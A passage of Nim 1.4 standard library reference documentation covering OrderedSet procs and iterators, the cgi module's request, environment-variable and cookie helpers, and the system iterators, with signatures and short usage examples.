proc](#incl,OrderedSet%5BA%5D,A) * [containsOrIncl proc](#containsOrIncl,OrderedSet%5BA%5D,A) **Example:** ``` var values = initOrderedSet[int]() assert(not values.contains(2)) assert 2 notin values values.incl(2) assert values.contains(2) assert 2 in values ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L690) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L690) ``` proc incl[A](s: var OrderedSet[A]; key: A) ``` Includes an element `key` in `s`. This doesn't do anything if `key` is already in `s`. See also: * [excl proc](#excl,OrderedSet%5BA%5D,A) for excluding an element * [incl proc](#incl,HashSet%5BA%5D,OrderedSet%5BA%5D) for including other set * [containsOrIncl proc](#containsOrIncl,OrderedSet%5BA%5D,A) **Example:** ``` var values = initOrderedSet[int]() values.incl(2) values.incl(2) assert values.len == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L711) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L711) ``` proc incl[A](s: var HashSet[A]; other: OrderedSet[A]) ``` Includes all elements from the OrderedSet `other` into HashSet `s` (must be declared as `var`). See also: * [incl proc](#incl,OrderedSet%5BA%5D,A) for including an element * [containsOrIncl proc](#containsOrIncl,OrderedSet%5BA%5D,A) **Example:** ``` var values = toHashSet([1, 2, 3]) others = toOrderedSet([3, 4, 5]) values.incl(others) assert values.len == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L728) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L728) ``` proc containsOrIncl[A](s: var OrderedSet[A]; key: A): bool ``` Includes `key` in the set `s` and tells if `key` was already in `s`. The difference with regards to the [incl proc](#incl,OrderedSet%5BA%5D,A) is that this proc returns `true` if `s` already contained `key`. The proc will return false if `key` was added as a new value to `s` during this call. See also: * [incl proc](#incl,OrderedSet%5BA%5D,A) for including an element * [missingOrExcl proc](#missingOrExcl,OrderedSet%5BA%5D,A) **Example:** ``` var values = initOrderedSet[int]() assert values.containsOrIncl(2) == false assert values.containsOrIncl(2) == true assert values.containsOrIncl(3) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L744) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L744) ``` proc excl[A](s: var OrderedSet[A]; key: A) ``` Excludes `key` from the set `s`. Efficiency: `O(n)`. This doesn't do anything if `key` is not found in `s`. See also: * [incl proc](#incl,OrderedSet%5BA%5D,A) for including an element * [missingOrExcl proc](#missingOrExcl,OrderedSet%5BA%5D,A) **Example:** ``` var s = toOrderedSet([2, 3, 6, 7]) s.excl(2) s.excl(2) assert s.len == 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L763) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L763) ``` proc missingOrExcl[A](s: var OrderedSet[A]; key: A): bool ``` Excludes `key` in the set `s` and tells if `key` was already missing from `s`. Efficiency: O(n). The difference with regards to the [excl proc](#excl,OrderedSet%5BA%5D,A) is that this proc returns `true` if `key` was missing from `s`. The proc will return `false` if `key` was in `s` and it was removed during this call. See also: * [excl proc](#excl,OrderedSet%5BA%5D,A) * [containsOrIncl proc](#containsOrIncl,OrderedSet%5BA%5D,A) **Example:** ``` var s = toOrderedSet([2, 3, 6, 7]) assert s.missingOrExcl(4) == true assert s.missingOrExcl(6) == false assert s.missingOrExcl(6) == true ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L779) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L779) ``` proc clear[A](s: var OrderedSet[A]) ``` Clears the OrderedSet back to an empty state, without shrinking any of the existing storage. `O(n)` operation where `n` is the size of the hash bucket. **Example:** ``` var s = toOrderedSet([3, 5, 7]) clear(s) assert len(s) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L799) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L799) ``` proc len[A](s: OrderedSet[A]): int {...}{.inline.} ``` Returns the number of elements in `s`. Due to an implementation detail you can call this proc on variables which have not been initialized yet. The proc will return zero as the length then. **Example:** ``` var a: OrderedSet[string] assert len(a) == 0 let s = toHashSet([3, 5, 7]) assert len(s) == 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L817) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L817) ``` proc card[A](s: OrderedSet[A]): int {...}{.inline.} ``` Alias for [len()](#len,OrderedSet%5BA%5D). Card stands for the [cardinality](http://en.wikipedia.org/wiki/Cardinality) of a set. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L831) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L831) ``` proc `==`[A](s, t: OrderedSet[A]): bool ``` Equality for ordered sets. **Example:** ``` let a = toOrderedSet([1, 2]) b = toOrderedSet([2, 1]) assert(not (a == b)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L838) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L838) ``` proc hash[A](s: OrderedSet[A]): Hash ``` Hashing of OrderedSet. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L862) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L862) ``` proc `$`[A](s: OrderedSet[A]): string ``` Converts the ordered hash set `s` to a string, mostly for logging and printing purposes. Don't use this proc for serialization, the representation may change at any moment and values are not escaped. **Examples:** ``` echo toOrderedSet([2, 4, 5]) # --> {2, 4, 5} echo toOrderedSet(["no", "esc'aping", "is \" provided"]) # --> {no, esc'aping, is " provided} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L868) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L868) Iterators --------- ``` iterator items[A](s: HashSet[A]): A ``` Iterates over elements of the set `s`. If you need a sequence with the elements you can use [sequtils.toSeq template](sequtils#toSeq.t,untyped). ``` type pair = tuple[a, b: int] var a, b = initHashSet[pair]() a.incl((2, 3)) a.incl((3, 2)) a.incl((2, 3)) for x, y in a.items: b.incl((x - 2, y + 1)) assert a.len == 2 echo b # --> {(a: 1, b: 3), (a: 0, b: 4)} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L225) ``` iterator items[A](s: OrderedSet[A]): A ``` Iterates over keys in the ordered set `s` in insertion order. If you need a sequence with the elements you can use [sequtils.toSeq template](sequtils#toSeq.t,untyped). ``` var a = initOrderedSet[int]() for value in [9, 2, 1, 5, 1, 8, 4, 2]: a.incl(value) for value in a.items: echo "Got ", value # --> Got 9 # --> Got 2 # --> Got 1 # --> Got 5 # --> Got 8 # --> Got 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L886) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L886) ``` iterator pairs[A](s: OrderedSet[A]): tuple[a: int, b: A] ``` Iterates through (position, value) tuples of OrderedSet `s`. **Example:** ``` let a = toOrderedSet("abracadabra") var p = newSeq[(int, char)]() for x in pairs(a): p.add(x) assert p == @[(0, 'a'), (1, 'b'), (2, 'r'), (3, 'c'), (4, 'd')] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sets.nim#L907) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sets.nim#L907)
programming_docs
nim cgi cgi === This module implements helper procs for CGI applications. Example: ``` import strtabs, cgi # Fill the values when debugging: when debug: setTestData("name", "Klaus", "password", "123456") # read the data into `myData` var myData = readData() # check that the data's variable names are "name" or "password" validateData(myData, "name", "password") # start generating content: writeContentType() # generate content: write(stdout, "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n") write(stdout, "<html><head><title>Test</title></head><body>\n") writeLine(stdout, "your name: " & myData["name"]) writeLine(stdout, "your password: " & myData["password"]) writeLine(stdout, "</body></html>") ``` Imports ------- <strutils>, <os>, <strtabs>, <cookies>, <uri> Types ----- ``` CgiError = object of IOError ``` exception that is raised if a CGI error occurs [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L56) ``` RequestMethod = enum methodNone, ## no REQUEST_METHOD environment variable methodPost, ## query uses the POST method methodGet ## query uses the GET method ``` the used request method [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L57) Procs ----- ``` proc xmlEncode(s: string): string {...}{.raises: [], tags: [].} ``` Encodes a value to be XML safe:* `"` is replaced by `&quot;` * `<` is replaced by `&lt;` * `>` is replaced by `&gt;` * `&` is replaced by `&amp;` * every other character is carried over. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L45) ``` proc cgiError(msg: string) {...}{.noreturn, raises: [CgiError], tags: [].} ``` raises an ECgi exception with message `msg`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L62) ``` proc readData(allowedMethods: set[RequestMethod] = {methodNone, methodPost, methodGet}): StringTableRef {...}{.raises: [CgiError, ValueError, IOError], tags: [ReadEnvEffect, ReadIOEffect].} ``` Read CGI data. If the client does not use a method listed in the `allowedMethods` set, an `ECgi` exception is raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L126) ``` proc readData(data: string): StringTableRef {...}{.raises: [CgiError], tags: [].} ``` Read CGI data from a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L134) ``` proc validateData(data: StringTableRef; validKeys: varargs[string]) {...}{. raises: [CgiError], tags: [].} ``` validates data; raises `ECgi` if this fails. This checks that each variable name of the CGI `data` occurs in the `validKeys` array. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L140) ``` proc getContentLength(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `CONTENT_LENGTH` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L147) ``` proc getContentType(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `CONTENT_TYPE` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L151) ``` proc getDocumentRoot(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `DOCUMENT_ROOT` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L155) ``` proc getGatewayInterface(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `GATEWAY_INTERFACE` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L159) ``` proc getHttpAccept(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_ACCEPT` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L163) ``` proc getHttpAcceptCharset(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_ACCEPT_CHARSET` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L167) ``` proc getHttpAcceptEncoding(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_ACCEPT_ENCODING` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L171) ``` proc getHttpAcceptLanguage(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_ACCEPT_LANGUAGE` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L175) ``` proc getHttpConnection(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_CONNECTION` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L179) ``` proc getHttpCookie(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_COOKIE` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L183) ``` proc getHttpHost(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_HOST` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L187) ``` proc getHttpReferer(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_REFERER` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L191) ``` proc getHttpUserAgent(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `HTTP_USER_AGENT` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L195) ``` proc getPathInfo(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `PATH_INFO` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L199) ``` proc getPathTranslated(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `PATH_TRANSLATED` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L203) ``` proc getQueryString(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `QUERY_STRING` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L207) ``` proc getRemoteAddr(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `REMOTE_ADDR` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L211) ``` proc getRemoteHost(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `REMOTE_HOST` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L215) ``` proc getRemoteIdent(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `REMOTE_IDENT` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L219) ``` proc getRemotePort(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `REMOTE_PORT` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L223) ``` proc getRemoteUser(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `REMOTE_USER` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L227) ``` proc getRequestMethod(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `REQUEST_METHOD` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L231) ``` proc getRequestURI(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `REQUEST_URI` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L235) ``` proc getScriptFilename(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SCRIPT_FILENAME` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L239) ``` proc getScriptName(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SCRIPT_NAME` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L243) ``` proc getServerAddr(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SERVER_ADDR` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L247) ``` proc getServerAdmin(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SERVER_ADMIN` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L251) ``` proc getServerName(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SERVER_NAME` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L255) ``` proc getServerPort(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SERVER_PORT` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L259) ``` proc getServerProtocol(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SERVER_PROTOCOL` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L263) ``` proc getServerSignature(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SERVER_SIGNATURE` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L267) ``` proc getServerSoftware(): string {...}{.raises: [], tags: [ReadEnvEffect].} ``` returns contents of the `SERVER_SOFTWARE` environment variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L271) ``` proc setTestData(keysvalues: varargs[string]) {...}{.raises: [OSError], tags: [WriteEnvEffect].} ``` fills the appropriate environment variables to test your CGI application. This can only simulate the 'GET' request method. `keysvalues` should provide embedded (name, value)-pairs. Example: ``` setTestData("name", "Hanz", "password", "12345") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L275) ``` proc writeContentType() {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` call this before starting to send your HTML data to `stdout`. This implements this part of the CGI protocol: ``` write(stdout, "Content-type: text/html\n\n") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L293) ``` proc writeErrorMessage(data: string) {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` Tries to reset browser state and writes `data` to stdout in <plaintext> tag. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L311) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L311) ``` proc setStackTraceStdout() {...}{.raises: [], tags: [].} ``` Makes Nim output stacktraces to stdout, instead of server log. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L320) ``` proc setCookie(name, value: string) {...}{.raises: [IOError], tags: [WriteIOEffect].} ``` Sets a cookie. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L324) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L324) ``` proc getCookie(name: string): TaintedString {...}{.raises: [], tags: [ReadEnvEffect].} ``` Gets a cookie. If no cookie of `name` exists, "" is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L331) ``` proc existsCookie(name: string): bool {...}{.raises: [], tags: [ReadEnvEffect].} ``` Checks if a cookie of `name` exists. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L336) Iterators --------- ``` iterator decodeData(data: string): tuple[key, value: TaintedString] {...}{. raises: [CgiError], tags: [].} ``` Reads and decodes CGI data and yields the (name, value) pairs the data consists of. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L88) ``` iterator decodeData(allowedMethods: set[RequestMethod] = {methodNone, methodPost, methodGet}): tuple[key, value: TaintedString] {...}{. raises: [CgiError, ValueError, IOError], tags: [ReadEnvEffect, ReadIOEffect].} ``` Reads and decodes CGI data and yields the (name, value) pairs the data consists of. If the client does not use a method listed in the `allowedMethods` set, an `ECgi` exception is raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/cgi.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/cgi.nim#L117) Exports ------- [encodeUrl](uri#encodeUrl,string), [decodeUrl](uri#decodeUrl,string) nim iterators iterators ========= Iterators --------- ``` iterator items[T: not char](a: openArray[T]): lent2 T {...}{.inline.} ``` Iterates over each item of `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L6) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L6) ``` iterator items[T: char](a: openArray[T]): T {...}{.inline.} ``` Iterates over each item of `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L13) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L13) ``` iterator mitems[T](a: var openArray[T]): var T {...}{.inline.} ``` Iterates over each item of `a` so that you can modify the yielded value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L23) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L23) ``` iterator items[IX, T](a: array[IX, T]): T {...}{.inline.} ``` Iterates over each item of `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L30) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L30) ``` iterator mitems[IX, T](a: var array[IX, T]): var T {...}{.inline.} ``` Iterates over each item of `a` so that you can modify the yielded value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L39) ``` iterator items[T](a: set[T]): T {...}{.inline.} ``` Iterates over each element of `a`. `items` iterates only over the elements that are really in the set (and not over the ones the set is able to hold). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L48) ``` iterator items(a: cstring): char {...}{.inline, raises: [], tags: [].} ``` Iterates over each item of `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L57) ``` iterator mitems(a: var cstring): var char {...}{.inline, raises: [], tags: [].} ``` Iterates over each item of `a` so that you can modify the yielded value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L71) ``` iterator items(E: typedesc[enum]): E:type ``` Iterates over the values of the enum `E`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L85) ``` iterator items[T](s: HSlice[T, T]): T ``` Iterates over the slice `s`, yielding each value between `s.a` and `s.b` (inclusively). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L90) ``` iterator pairs[T](a: openArray[T]): tuple[key: int, val: T] {...}{.inline.} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L96) ``` iterator mpairs[T](a: var openArray[T]): tuple[key: int, val: var T] {...}{.inline.} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. `a[index]` can be modified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L103) ``` iterator pairs[IX, T](a: array[IX, T]): tuple[key: IX, val: T] {...}{.inline.} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L111) ``` iterator mpairs[IX, T](a: var array[IX, T]): tuple[key: IX, val: var T] {...}{.inline.} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. `a[index]` can be modified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L120) ``` iterator pairs[T](a: seq[T]): tuple[key: int, val: T] {...}{.inline.} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L130) ``` iterator mpairs[T](a: var seq[T]): tuple[key: int, val: var T] {...}{.inline.} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. `a[index]` can be modified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L139) ``` iterator pairs(a: string): tuple[key: int, val: char] {...}{.inline, raises: [], tags: [].} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L149) ``` iterator mpairs(a: var string): tuple[key: int, val: var char] {...}{.inline, raises: [], tags: [].} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. `a[index]` can be modified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L158) ``` iterator pairs(a: cstring): tuple[key: int, val: char] {...}{.inline, raises: [], tags: [].} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L168) 